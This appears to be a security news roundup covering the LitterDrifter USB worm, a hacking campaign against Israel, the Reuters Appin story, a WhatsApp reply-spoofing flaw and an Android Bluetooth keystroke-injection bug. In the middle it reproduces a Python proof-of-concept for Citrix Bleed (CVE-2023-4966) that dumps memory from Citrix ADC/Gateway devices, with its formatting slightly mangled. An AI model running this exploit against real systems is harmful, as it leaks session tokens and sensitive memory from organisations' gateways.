Russian state hackers spread USB worm worldwide.

LitterDrifter worm has been traced back to Russia’s Federal Security Service.

Malware Spotlight – Into the Trash: Analyzing LitterDrifter

https://research.checkpoint.com/2023/malware-spotlight-into-the-trash-analyzing-litterdrifter/

https://www.independent.co.uk/tech/russian-state-hackers-spread-usb-worm-worldwide-b2451776.html

Shadowy hacking group targeting Israel shows outsized capabilities. Islarel Palestine conflict.

A sophisticated campaign that has targeted Israel for at least 8 years shows evidence of improving its capabilities.

https://cyberscoop.com/hacking-israel-wild-card/

Indian government asks Reuters news agency 📰 to take down an article titled "How an Indian startup hacked the world 🌍"

Reuters had published the article and removed it after the Indian court order.

Reuters released the details about this: https://www.reuters.com/investigates/special-report/usa-hackers-appin/

It is likely that the article mentioned criminal activity by the startup that involved people in power and access.

Whatsapp Spoofing impersonate of reply message

All official WhatsApp clients, upon receiving a "Message Reply" payload (QuotedMessage), do not validate whether the "ContextInfo" of this "QuotedMessage" is valid/exists ("StanzaId" and "Participant"). This allows a malicious actor to send in private chats or groups a "QuotedMessage" of a message that never existed on behalf of another person. This is highly critical and dangerous.

https://github.com/lichti/whats-spoofing

PoC: https://youtu.be/_WL6hpAvNh8

Citrix Bleed Zero-Day CVE-2023-4966 by AssetNote team.

#!/usr/bin/env python3

import sys
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument('--target', help='The Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200)')
args = parser.parse_args()

if args.target is None:
print('Target must be provided (e.g. --target 192.168.1.200)')
sys.exit(0)

hostname = args.target

if name == "main":
headers = {
"Host": "a"*24576
}
r = requests.get(f"https://{hostname}/oauth/idp/.well-known/openid-configuration", headers=headers, verify=False,timeout=10)
if r.status_code == 200:
print("--- Dumped Memory ---")
print(r.text[131050:])
print("--- End ---")
else:
print("Could not dump memory")

Zero-Day: CVE-2023-45866 and CVE-2024-21306 exploitation.

Exploiting 0-click Android Bluetooth vulnerability to inject keystrokes without pairing.

https://www.mobile-hacker.com/2024/01/23/exploiting-0-click-android-bluetooth-vulnerability-to-inject-keystrokes-without-pairing/

https://youtu.be/dj1lGqL8lXo